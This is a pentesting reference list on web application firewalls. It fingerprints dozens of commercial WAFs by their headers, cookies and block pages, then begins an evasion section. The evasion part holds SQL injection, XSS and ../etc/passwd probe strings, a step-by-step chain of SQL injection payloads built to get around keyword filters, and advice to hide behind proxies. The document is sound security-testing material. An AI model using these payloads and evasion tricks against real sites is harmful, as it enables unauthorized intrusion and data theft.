Awesome WAF Awesome
Everything about web application firewalls (WAFs). π₯
Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there. You might want to keep this repo on a watch, since it will be updated regularly. "The community just learns from each other." #SharingisCaring
A Concise Definition: A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)
Feel free to contribute.
- Introduction
- Testing Methodology
- WAF Fingerprints
- Evasion Techniques
- Known Bypasses
- Awesome Tooling
- Blogs & Writeups
- Video Presentations
- Research Presentations & Papers
- Licensing & Credits
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
- Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all
<script>*</script>inputs. - Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
- Mixed/Hybrid Model (Inclusive model) - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.
- Always look out for common ports that expose that a WAF, namely
80,443,8000,8008,8080and8088ports.Tip: You can use automate this easily by commandline using tools like like cURL.
- Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (eg. Netscaler, Big-IP).
- Some expose themselves in the
Serverheader (eg. Approach, WTS WAF). - Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).
To identify WAFs, we need to (dummy) provoke it.
- Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
- Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
- Make GET requests to random open ports and grab banners which might expose the WAFs identity.
- If there is a login page somewhere, try some common (easily detectable) payloads like
" or 1 = 1 --. - If there is some input field somewhere, try with noisy payloads like
<script>alert()</script>. - Attach a dummy
../../../etc/passwdto a random parameter at end of URL. - Append some catchy keywords like
' OR SLEEP(5) OR 'at end of URLs to any random parameter. - Make GET requests with outdated protocols like
HTTP/0.9(HTTP/0.9does not support POST type queries). - Many a times, the WAF varies the
Serverheader upon different types of interactions. - Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
Tip: This method could be easily achieved with tools like HPing3 or Scapy.
- Side Channel Attacks - Examine the timing behaviour of the request and response content.
Wanna fingerprint WAFs? Lets see how.
NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.
- Detectability: Easy
- Detection Methodology:
- Returns status code
493upon unusual requests. - Blockpage may contain reference to
wzws-waf-cgi/directory. - Blocked response page source may contain:
- Reference to
wangshan.360.cnURL. Sorry! Your access has been intercepted because your links may threaten website security.text snippet.
- Reference to
- Response headers may contain
X-Powered-By-360WZBheader. - Blocked response headers contain unique header
WZWS-Ray. Serverheader may contain valueqianxin-waf.
- Detectability: Moderate
- Detection Methodology:
- Blocked response content contains
aesecure_denied.pngimage (view source to see). - Response headers contain
aeSecure-codevalue.
- Detectability: Moderate/Difficult
- Detection Methodology:
Set-Cookieheaders may contain:AL-SESScookie field name (case insensitive).AL-LBvalue (case insensitive).- Blocked response page contains:
Server detected a syntax error in your requesttext.Check your request and all parameterstext snippet.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains:
We are sorry, but the page you are looking for cannot be foundtext snippet.The page has either been removed, renamed or temporarily unavailabletext.404 Not Foundin red letters.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains:
Sorry, your request has been blocked as it may cause potential threats to the server's securitytext snippet.- Reference to
errors.aliyun.comsite URL. - Blocked response code returned is
405.
- Detectability: Easy
- Detection Methodology:
- Returns blocked HTTP response code
405upon malicious requests. - Blocked response content may contain
/aqb_cc/error/orhidden_intercept_time. - Response headers contain
X-Powered-by-Anquanbaoheader field.
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains
Sorry! your access has been intercepted by AnYu - Blocked response page contains
AnYu- the green channeltext. - Response headers may contain unusual header
WZWS-RAY.
- Detectability: Easy
- Detection Methodology:
- Blocked response page content may contain:
Approach Web Application Firewall Frameworkheading.Your IP address has been logged and this information could be used by authorities to track you.warning.Sorry for the inconvenience!keyword.Approach infrastructure teamtext snippet.Serverheader has field value set toApproach.
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains:
This request has been blocked by website protection from Armortext.If you manage this domain please create an Armor support ticketsnippet.
- Detectability: Easy
- Detection Methodology:
Serverheader containsArvanCloudkeyword.
- Detectability: Easy
- Detection Methodology:
Serverheader containsASPA-WAFkeyword.- Response contain unique header
ASPA-Cache-Statuswith contentHITorMISS.
- Detectability: Moderate
- Detection Methodology:
- Response headers may contain
X-ASPNET-Versionheader value. - Blocked response page content may contain:
This generic 403 error means that the authenticated user is not authorized to use the requested resource.Error Code 0x00000000<keyword.X-Powered-Byheader has field value set toASP.NET.
- Detectability: Easy
- Detection Methodology:
- Blocked response page content may contain:
Sorry, this is not allowed.inh1.our website protection system has detected an issue with your IP address and wont let you proceed any furthertext snippet.- Reference to
www.getastra.com/assets/images/URL. - Response cookies has field value
cz_astra_csrf_cookiein response headers.
- Detectability: Moderate
- Detection Methodology:
- Response headers might contain:
AWSALBcookie field value.X-AMZ-IDheader.X-AMZ-REQUEST-IDheader.
- Response page may contain:
Access Deniedin their keyword.- Request token ID with length from 20 to 25 between
RequestIdtag.
Serverheader field containsawselb/2.0value.
- Detectability: Moderate
- Detection Methodology:
Serverheader may containYunjiasu-nginxvalue.Serverheader may containYunjiasuvalue.
- Detectability: Easy
- Detection Methodology:
- Blocked response page content contains:
BARIKODEkeyword.Forbidden Accesstext snippet inh1.
- Detectability: Moderate
- Detection Methodology:
- Response cookies may contain
barra_counter_sessionvalue. - Response headers may contain
barracuda_keyword. - Response page contains:
You have been blockedheading.You are unable to access this websitetext.
- Detectability: Easy
- Detection Methodology:
- Blocked response headers contains
Bekchy - Access Denied. - Blocked response page contains reference to
https://bekchy.com/report.
- Detectability: Moderate
- Detection Methodology:
- Response headers contain:
X-BinarySec-Viafield.X-BinarySec-NoCachefield.Serverheader containsBinarySeckeyword.
- Detectability: Easy
- Detection Methodology:
- Blocked response page may contain:
Security check by BitNinjatext snippet.your IP will be removed from BitNinja.Visitor anti-robot validationtext snippet.(You will be challenged by a reCAPTCHA page)text.
- Detectability: Moderate
- Detection Methodology:
- Response headers may contain
BigIPorF5keyword value. - Response header fields may contain
X-WA-Infoheader. - Response headers might have jumbled
X-Cnectionfield value.
- Detectability: Moderate
- Detection Methodology:
Serverheader contains valueBlockDos.net.
- Detectability: Easy
- Detection Methodology:
Serverheader containsBDWAFfield value.- Blocked response page contains to
Bluedon Web Application Firewalltext snippet..
- Detectability: Moderate
- Detection Methodology:
- Blocked response page contains:
divwith id asbpsMessagetext snippet.If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.text snippet.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
CdnNsWAF Application Gatewaytext snippet.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains:
We're sorry, you are not allowed to proceedtext snippet.Your request looks suspicious or similar to automated requests from spam posting softwarewarning.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains
event_idkeyword within HTML comments.
- Detectability: Easy
- Detection Methodology:
- Response headers contain
Powered-by-ChinaCachefield.
- Detectability: Moderate
- Detection Methodology:
Serverheader has valueACE XML Gatewayset.
- Detectability: Moderate
- Detection Methodology:
- Response content contains:
Malicious Code Detectedheading.Your request was blocked by Cloudbrictext snippet.- Reference to
https://cloudbric.zendesk.comURL. Cloudbric Help Centertext.- Page title starting with
Cloudbric | ERROR!.
- Detectability: Easy
- Detection Methodology:
- Response headers might have
cf-rayfield value. Serverheader field has valuecloudflare.Set-Cookieresponse headers have__cfuid=cookie field.- Page content might have
Attention Required!orCloudflare Ray ID:. - Page content may contain
DDoS protection by Cloudflareas text. - You may encounter
CLOUDFLARE_ERROR_500S_BOXupon hitting invalid URLs.
- Detectability: Easy
- Detection Methodology:
Serverheader field has valueCloudfloorDNS WAF.- Block-page title might have
CloudfloorDNS - Web Application Firewall Error. - Page content may contain
www.cloudfloordns.com/contactURL as a contact link.
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains
Generated by cloudfront (CloudFront)error upon malicious request.
- Detectability: Easy
- Detection Methodology:
Serverheader containsProtected by COMODO WAFvalue.
- Detectability: Easy
- Detection Methodology:
- Response cookies might contain
crawlprotectcookie name. - Block Page title has
CrawlProtectkeyword in it. - Blocked response content contains value
This site is protected by CrawlProtect !!!upon malicious request.
- Detectability: Difficult
- Detection Methodology:
- Response content contains value
Condition Intercepted. Set-Cookieheader contains cookie fieldsessioncookie.
- Detectability: Easy
- Detection Methodology:
- Response headers contain field value
X-Distil-CSin all requests. - Blocked response page contains:
Pardon Our Interruption...heading.You have disabled javascript in your browser.text snippet.Something about your browser made us think that you are a bot.text.
- Detectability: Easy
- Detection Methodology:
- Response headers contain field value
X-DIS-Request-ID. Serverheader containsDOSarrestkeyword.
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains value
dotDefender Blocked Your Request. - Blocked response headers contain
X-dotDefender-deniedfield value.
- Detectability: Easy
- Detection Methodology:
- Blocked response headers contain
X-403-Status-Byfield with valuedw-inj-checkvalue.
- Detectability: Easy
- Detection Methodology:
Serverheader containse3Learning_WAFkeyword.
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains value
Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon). - Blocked response code returns
400 Bad Requeston malicious requests.
- Detectability: Easy
- Detection Methodology:
- Blocked response page content may contain:
/eisoo-firewall-block.cssreference.www.eisoo.comURL.Β© (year) Eisoo Inc.keyword.Serverheader has field value set toEisooWAF-AZURE/EisooWAF.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page returns
Invalid URIgenerally. - Blocked response content contains value
Invalid GET Requestupon malicious GET queries. - Blocked POST type queries contain
Invalid Datain response content.
- Detectability: Difficult
- Detection Methodology:
- Blocked response content contains warning
The requested URL was rejected. Please consult with your administrator.
- Detectability: Moderate
- Detection Methodology:
- Response headers contain
FORTIWAFSID=on malicious requests. - Blocked response page contains:
- Reference to
.fgd_iconimage icon. Server Unavailable!as heading.Server unavailable. Please visit later.as text.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains value
Access Denied - GoDaddy Website Firewall.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains:
Grey Wizardas title.Contact the website owner or Grey Wizardtext snippet.We've detected attempted attack or non standard traffic from your IP addresstext snippet.
Serverheader containgreywizardkeyword.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains:
- Reference to
account.hwclouds.com/static/error/images/404img.jpgerror image. - Reference to
www.hwclouds.comURL. - Reference to
hws_security@{site.tld}e-mail for reporting.
- Detectability: Difficult
- Detection Methodology:
Set-Cookieheader has cookie fieldODSESSION=in response headers.
- Detectability: Difficult
- Detection Methodology:
- Response headers contains field value value
X-Backside-Transportwith valueOKorFAIL.
- Detectability: Easy
- Detection Methodology:
- Blocked response page content may contain:
Powered By Incapsulatext snippet.Incapsula incident IDkeyword._Incapsula_Resourcekeyword.subject=WAF Block Pagekeyword.- Normal GET request headers contain
visid_incapvalue. - Response headers may contain
X-Iinfoheader field name. Set-Cookieheader has cookie fieldincap_sesandvisid_incap.
- Detectability: Easy
- Detection Methodology:
Serverheader containimunify360-webshieldkeyword.- Response page contains:
Powered by Imunify360text snippet.imunify360 preloaderif response type is JSON.- Blocked response page contains
protected by Imunify360text.
- Detectability: Moderate
- Detection Methodology:
Serverheader contains valueIF_WAF.- Blocked response content contains warning
further investigation and remediation with a screenshot of this page. - Response headers contain a unique header
X-Version.
- Detectability: Easy
- Detection Methodology:
- Response headers contain
X-Instart-Request-IDunique header. - Response headers contain
X-Instart-WLunique header fingerprint. - Response headers contain
X-Instart-Cacheunique header fingerprint. - Blocked response page contains
The requested URL was rejected. Please consult with your administrator.text.
- Detectability: Difficult
- Detection Methodology:
- Response page contains:
The ISA Server denied the specified Uniform Resource Locator (URL)text snippet.The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.text snippet
- Detectability: Easy
- Detection Methodology:
- Blocked response page has image displaying
JANUSECname and logo. - Blocked response page displays
Janusec Application Gatewayon malicious requests.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
static.jiasule.com/static/js/http_error.jsURL. Set-Cookieheader has cookie field__jsluid=orjsl_trackingin response headers.Serverheader hasjiasule-WAFkeywords.- Blocked response content has
notice-jiasulekeyword.
- Detectability: Easy
- Detection Methodology:
Serverheader containsKeyCDNkeyword.
- Detectability: Easy
- Detection Methodology:
- Blocked response page displays
ks-waf-error.pngimage (view source to see).
- Detectability: Easy
- Detection Methodology:
Serverheader containsAkamaiGHostkeyword.
- Detectability: Easy
- Detection Methodology:
Serverheader has value set toLiteSpeed.Response page contains:Proudly powered by LiteSpeed Web Servertext.- Reference to
http://www.litespeedtech.com/error-page Access to resource on this server is denied.
- Detectability: Moderate
- Detection Methodology:
- Blocked response page may contains:
Blocked because of Malicious Activitiestext snippet.Firewall powered by MalCaretext snippet.
- Detectability: Easy
- Detection Methodology:
Serverheader field containsMission Control Application Shieldvalue.
- Detectability: Moderate/Difficult
- Detection Methodology:
- Blocked response page contains:
This error was generated by Mod_Securitytext snippet.One or more things in your request were suspicioustext snippet.rules of the mod_security moduletext snippet.mod_security rules triggeredtext snippet.- Reference to
/modsecurity-errorpage/directory. Serverheader may containMod_SecurityorNYOBkeywords.- Sometimes, the response code to an attack is
403while the response phrase isModSecurity Action.
- Detectability: Difficult
- Detection Methodology:
- Blockpage occurs on adding a separate request header
X-Scannerwhen set to a particular paranoa level.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
This Request Has Been Blocked By NAXSI. - Response headers contain unusual field
X-Data-Originwith valuenaxsi/wafkeyword. Serverheader containsnaxsi/wafkeyword value.- Blocked response page may contain
NAXSI blocked informationerror code.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains
Suspicious activity detected. Access to the site is blocked.. - Contains reference to email
nwaf@{site.tld}
- Detectability: Moderate
- Detection Methodology:
- Session cookies contain
NCI__SessionId=cookie field name.
- Detectability: Moderate
- Detection Methodology:
- Response headers may contain
Connection:header field name jumbled tonnCoection:ns_af=cookie field name.citrix_ns_idfield name.NSC_keyword.NS-CACHEfield value.
- Detectability: Moderate
- Detection Methodology:
- Response header cookies contain
Navajokeyword.
- Detectability: Easy
- Detection Methodology:
- Response page contains:
- Reference to
http://www.newdefend.com/feedback/misinformation/URL. - Reference to
/nd_block/directory. Serverheader containsNewDefendkeyword.
- Detectability: Easy
- Detection Methodology:
- Blocked response page has reference to
speresources.nexusguard.com/wafpage/index.htmlURL.
- Detectability: Moderate
- Detection Methodology:
- Response page title contains
NinjaFirewall: 403 Forbidden. - Response page contains:
For security reasons, it was blocked and loggedtext snippet.NinjaFirewallkeyword in title.
- Returns a
403 Forbiddenresponse upon malicious requests.
- Detectability: Easy
- Detection Methodology:
Serverheader containNSFocuskeyword.
- Detectability: Easy
- Detection Methodology:
Serverheader contains theNullDDoS Systemkeyword.
- Detectability: Easy
- Detection Methodology:
- Response headers contain header
X-Enginefield with valueonMessage Shield. - Blocked response page contains:
Blackbaud K-12 conducts routine maintenancekeyword.This site is protected by an enhanced security system.- Reference to
https://status.blackbaud.comURL. - Reference to
https://maintenance.blackbaud.comURL.
- Detectability: Easy
- Detection Methodology:
Serverheader containsopenresty/{version}keyword.- Blocked response page contains
openresty/{version}text. - Blocked response code returned is
406 Not Acceptable.
- Detectability: Moderate
- Detection Methodology:
- Blocked response page contains
Virus/Spyware Download Blocked. - Response page might contain
Palo Alto Next Generation Security Platformtext snippet.
- Detectability: Easy
- Detection Methodology:
Serverheader containsPentaWAF/{version}keyword.- Blocked response page contains text
PentaWAF/{version}.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
https://www.perimeterx.com/whywasiblockedURL.
- Detectability: Moderate
- Detection Methodology:
- Response content may contain
pkSecurityModule: Security.Alert.A safety critical request was discovered and blockedtext snippet.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains
Forbiddeninh1followed by: Request ID:in formatyyyy-mm-dd-hh-mm-ss-{ref. code}
- Detectability: Moderate
- Detection Methodology:
- Response headers may contain
Viaheader with contentpowercdn.com.X-Cacheheader with contentpowercdn.com.X-CDNheader with contentPowerCDN.
- Detectability: Easy
- Detection Methodology:
Set-Cookieheaders containPLBSID=cookie field name.Serverheader containProfensekeyword.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page might contain to
request does not match Proventia rulestext snippet.
- Detectability: Easy
- Detection Methodology:
Serverheader containPuhuiWAFkeyword.
- Detectability: Easy
- Detection Methodology:
- Response content may contain
- Response headers contain unusual header
X-Qiniu-CDNwith value set to either0or1.
- Detectability: Moderate
- Detection Methodology:
- Response page contains the following text snippet:
Unauthorized Activity Has Been Detected.andCase Number - Blocked response page has reference to
radwarealerting@{site.tld}email. - Blocked response page has title set to
Unauthorized Request Blocked. - Response headers may contain
X-SL-CompStateheader field name.
- Detectability: Moderate
- Detection Methodology:
- Cookies in response headers contain
rbzid=header field name. Serverfield value might containReblaze Secure Web Gatewaytext snippet.- Response page contains:
Access Denied (403)in bold.Current session has been terminatedtext.For further information, do not hesitate to contact us.
- Detectability: Easy
- Detection Methodology:
- A firewall found specifically on ASP.NET websites and none others.
- Response page contains either of the following text snippet:
ASP.NET has detected data in the request that is potentially dangerous.Request Validation has detected a potentially dangerous client input value.HttpRequestValidationException.- Blocked response code returned is always
500 Internal Error.
- Detectability: Easy
- Detection Methodology:
- Response page contains:
COM_RSFIREWALL_403_FORBIDDENkeyword.COM_RSFIREWALL_EVENTkeyword.
- Detectability: Easy
- Detection Methodology:
- Returns status code
500 Internal Errorupon malicious requests. - Response content has:
- Contact email
dxsupport@sabre.com. Your request has been blockedbold warning.clicking the above email link will automatically add some important details to the email for us to investigate the problemtext snippet.
- Contact email
- Detectability: Easy
- Detection Methodology:
- Response headers contain:
X-Powered-Byheader has field valueSafe3WAF.Serverheader contains field value set toSafe3 Web Firewall.- Response page contains
Safe3wafkeyword.
- Detectability: Easy/Moderate
- Detection Methodology:
Serverheader in response may contain:WAF/2.0keyword.safedogfield value.
- Detectability: Easy/Moderate
- Detection Methodology:
Serverheader in response may contain:SECKINGWAFkeyword.SECKING/{version}field value.
- Detectability: Easy
- Detection Methodology:
- Response content may contain:
SecuPressas text.Block ID: Bad URL Contentsas text.- Response code returned is
503 Service Unavailable.
- Detectability: Easy
- Detection Methodology:
Serverheader contains value set toSecure Entry Server.
- Detectability: Easy
- Detection Methodology:
- Response page contains either of the following text snippet:
- Image displaying
beyondtrustlogo. Download SecureIIS Personal Edition- Reference to
http://www.eeye.com/SecureIIS/URL. SecureIIS Errortext snippet.
- Detectability: Difficult
- Detection Methodology:
- Response page contains the following text snippet:
- Error in
h2text. - Title contains only text as
Error. Contact support for additional information.text.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
SENGINX-ROBOT-MITIGATIONkeyword.
- Detectability: Easy
- Detection Methodology:
- Blocked response contains
X-Pintheader field withp80keyword.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains
request forbidden by administrative rules.keyword.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains:
You were blocked by the Shield.text.Something in the URL, Form or Cookie data wasn't appropriatetext snippet.Warning: You have {number} remaining transgression(s) against this site.Seriously stop repeating what you are doing or you will be locked out.
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains
The page you are trying to access is restricted due to a security ruletext snippet.
- Detectability: Difficult
- Detection Methodology:
- Response page contains:
Powered by SiteGuardtext snippet.The server refuse to browse the page.text snippet.The URL may not be correct. Please confirm the value.
- Detectability: Easy
- Detection Methodology:
- Blocked response page source contains the following:
- Reference to
www.sitelock.comURL. Sitelock is leader in Business Website Security Services.text.sitelock-site-verificationkeyword.sitelock_shield_logoimage.
- Detectability: Easy
- Detection Methodology:
Serverheader containSonicWALLkeyword value.- Blocked response page contains either of the following text snippet:
- Image displaying
Delllogo. This request is blocked by the SonicWALL.Web Site Blockedtext snippet.nsa_banneras keyword. :p
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
Powered by UTM Web Protectionkeyword.
- Detectability: Difficult
- Detection Methodology:
- Response code returned is
404 Not Foundupon malicious requests. - Blocked response page contains either of the following text snippet:
BRICK-50keyword.404 Not Foundtext snippet.
- Detectability: Easy
- Detection Methodology:
Serverheader contains field valuesquid/{version}.- Blocked response page contains
Access control configuration prevents your request from being allowed at this time..
- Detectability: Easy
- Detection Methodology:
- Contains image displaying
StackPathlogo. - Blocked response page contains
You performed an action that triggered the service and blocked your request.
- Detectability: Difficult
- Detection Methodology:
- Blocked response code returns
403 Forbiddenor500 Internal Error. - Response headers contain the
X-Mappingheader field name.
- Detectability: Easy
- Detection Methodology:
- Response headers may contain
SucuriorCloudproxykeywords. - Blocked response page contains the following text snippet:
Access Denied - Sucuri Website Firewalltext.- Reference to
https://sucuri.net/privacy-policyURL. - Sometimes the email
cloudproxy@sucuri.net. - Contains copyright notice
;copy {year} Sucuri Inc. - Response headers contains
X-Sucuri-IDheader along with normal requests.
- Detectability: Easy
- Detection Methodology:
- Blocked response page has
Copyright (c) 2019 Synology Inc. All rights reserved.as text.
- Detectability: Moderate
- Detection Methodology:
- Blocked response code returns
405 Method Not Allowederror. - Blocked response page contains reference to
waf.tencent-cloud.comURL.
- Detectability: Difficult
- Detection Methodology:
- Response headers contain cookie field
st8id.
- Detectability: Moderate
- Detection Methodology:
Servermight containF5-TrafficShieldkeyword.ASINFO=value might be detected in response cookies.
- Detectability: Easy
- Detection Methodology:
- Response headers contain unique header
X-TransIP-Backend. - Response headers contain another header
X-TransIP-Balancer.
- Detectability: Easy
- Detection Methodology:
- Response content might contain:
- Reference to
/uewaf_deny_pages/default/img/inurl directory. ucloud.cnURL.
- Reference to
- Response headers returned has
Serverheader set touewaf/{version}.
- Detectability: Moderate
- Detection Methodology:
- Response headers might contain:
UrlMasterkeyword.UrlRewriteModulekeyword.SecurityCheckkeyword.
- Blocked response code returned is
400 Bad Requesttext snippet.
- Detectability: Moderate
- Detection Methodology:
- Blocked response page contains:
Rejected-by-URLScantext snippet.Server Erro in Applicationas heading.Module: IIS Web Corein table.
- Detectability: Moderate
- Detection Methodology:
- Response headers contain
Secure Entry Serverfield value.
- Detectability: Easy
- Detection Methodology:
- Malicious request returns
404 Not FoundError. - Response page contains:
Request rejected by xVarnish-WAFtext snippet.
- Detectability: Easy
- Detection Methodology:
- Response page contains:
Error 403 Naughty, not Nice!as heading.Varnish cache Serveras text.
- Detectability: Easy
- Detection Methodology:
- Response page contains:
- Block page has title set to
Access denied Β· Viettel WAF. - Reference to
https://cloudrity.com.vn/URL. - Response page contains keywords
Viettel WAF system. - Contact information reference to
https://cloudrity.com.vn/customer/#/contactURL.
- Detectability: Easy
- Detection Methodology:
- Response page contains:
http://cdn.virusdie.ru/splash/firewallstop.pngpicture.copy; Virusdie.rucopyright notice.- Response page title contains
Virusdiekeyword. - Page metadata contains
name="FW_BLOCK"keyword
- Detectability: Moderate
- Detection Methodology:
Serverheaders containnginx-wallarmvalue.
- Detectability: Easy
- Detection Methodology:
Serverheaders may containWatchGuardfield value.- Blocked response page contains:
Request denied by WatchGuard Firewalltext.WatchGuard Technologies Inc.as footer.
- Detectability: Easy
- Detection Methodology:
- Restricted to specifically WordPress sites only.
- Blocked response page contains:
This request has been blocked by WebARX Web Application Firewalltext.- Reference to
/wp-content/plugins/webarx/directory where it is installed.
- Detectability: Easy
- Detection Methodology:
- Response headers contain
WebKnightkeyword. - Blocked response page contains:
WebKnight Application Firewall Alerttext warning.AQTRONIX WebKnighttext snippet.- Blocked response code returned is
999 No Hacking. :p - Blocked response code returned is also
404 Hack Not Found. :p
- Detectability: Easy
- Detection Methodology:
Serverheader containsApache Protected By WebLand WAFkeyword.
- Detectability: Easy
- Detection Methodology:
Serverheader containsWebRay-WAFkeyword.- Response headers may have
DrivedByfield with valueRaySrv RayEng/{version}.
- Detectability: Easy
- Detection Methodology:
Serverheader containWebSEALkeyword.- Blocked response page contains:
This is a WebSEAL error message template filetext.WebSEAL server received an invalid HTTP requesttext snippet.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
The current request was blocked by WebTotem.
- Detectability: Easy
- Detection Methodology:
- Response headers contain
X-Cacheheader field withWT263CDNvalue.
- Detectability: Easy
- Detection Methodology:
- Response headers contain
WebKnightkeyword. - Blocked response page contains:
Generated by Wordfencetext snippet.A potentially unsafe operation has been detected in your request to this sitetext warning.Your access to this site has been limitedtext warning.This response was generated by Wordfencetext snippet.
- Detectability: Easy
- Detection Methodology:
- Blocked response page title has
WTS-WAFkeyword. Serverheader containswtsas value.
- Detectability: Easy
- Detection Methodology:
- Response headers contain
X-CDNheader field withXLabs Securityvalue.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/site URL.
- Detectability: Moderate
- Detection Methodology:
- Response page has reference to:
365cyd.comor365cyd.netURL.- Reference to help page at
http://help.365cyd.com/cyd-error-help.html?code=403.
- Detectability: Easy
- Detection Methodology:
Serverheader containsYUNDUNas value.X-Cacheheader field containsYUNDUNas value.- Response page contains
Blocked by YUNDUN Cloud WAFtext snippet. - Blocked response page contains reference to
yundun.com/yd_http_error/URL.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains image class reference to
yunsuologo. - Response headers contain the
yunsuo_sessionfield name.
- Detectability: Easy
- Detection Methodology:
- Response might have
yx_ci_sessioncookie field. - Response might have
yx_languagecookie field. Serverheader containsYxlink-WAFfield value.
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
/__zenedge/assets/directory. Serverheader containZENEDGEkeyword.- Blocked response headers may contain
X-Zen-Furyheader.
- Detectability: Easy
- Detection Methodology:
Serverheader has value set toZScaler.- Blocked response page contains:
Access Denied: Accenture Policytext.- Reference to
https://policies.accenture.comURL. - Reference to image at
https://login.zscloud.net/img_logo_new1.png. Your organization has selected Zscaler to protect you from internet threats.The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.
Lets look at some methods of bypassing and evading WAFs.
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing
- Load up your wordlist into fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
- Always use proxychains, since chances are real that your IP gets blocked.
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
- In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
- The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.
Case: SQL Injection
Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
- Blocked Attempt:
union select user, password from users - Bypassed Injection:
1 || (select user from users where user_id = 1) = 'admin'
Keywords Filtered: and, or, union, where
- Blocked Attempt:
1 || (select user from users where user_id = 1) = 'admin' - Bypassed Injection:
1 || (select user from users limit 1) = 'admin'
Keywords Filtered: and, or, union, where, limit
- Blocked Attempt:
1 || (select user from users limit 1) = 'admin' - Bypassed Injection:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
Keywords Filtered: and, or, union, where, limit, group by
- Blocked Attempt:
1 || (select user from users group by user_id having user_id = 1) = 'admin' - Bypassed Injection:
1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
Keywords Filtered: and, or, union, where, limit, group by, select
- Blocked Attempt:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 - Bypassed Injection:
1 || 1 = 1 into outfile 'result.txt' - Bypassed Injection:
1 || substr(user,1,1) = 'a'
Keywords Filtered: and, or, union, where, limit, group by, select, '
- Blocked Attempt:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 - Bypassed Injection:
1 || user_id is not null - Bypassed Injection:
1 || substr(user,1,1) = 0x61 - Bypassed Injection:
1 || substr(user,1,1) = unhex(61)
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex
- Blocked Attempt:
1 || substr(user,1,1) = unhex(61) - Bypassed Injection:
1 || substr(user,1,1) = lower(conv(11,10,36))
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr
- Blocked Attempt:
1 || substr(user,1,1) = lower(conv(11,10,36)) - Bypassed Injection:
1 || lpad(user,7,1)
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space
- Blocked Attempt:
1 || lpad(user,7,1) - Bypassed Injection:
1%0b||%0blpad(user,7,1)
- Encoding payload to different encodings (a hit and trial approach).
- You can encode whole payload, or some parts of it and test recursively.
1. Case Toggling
- Some poorly developed WAFs filter selectively specific case WAFs.
- We can combine upper and lower case characters for developing efficient payloads.
Standard: <script>alert()</script>
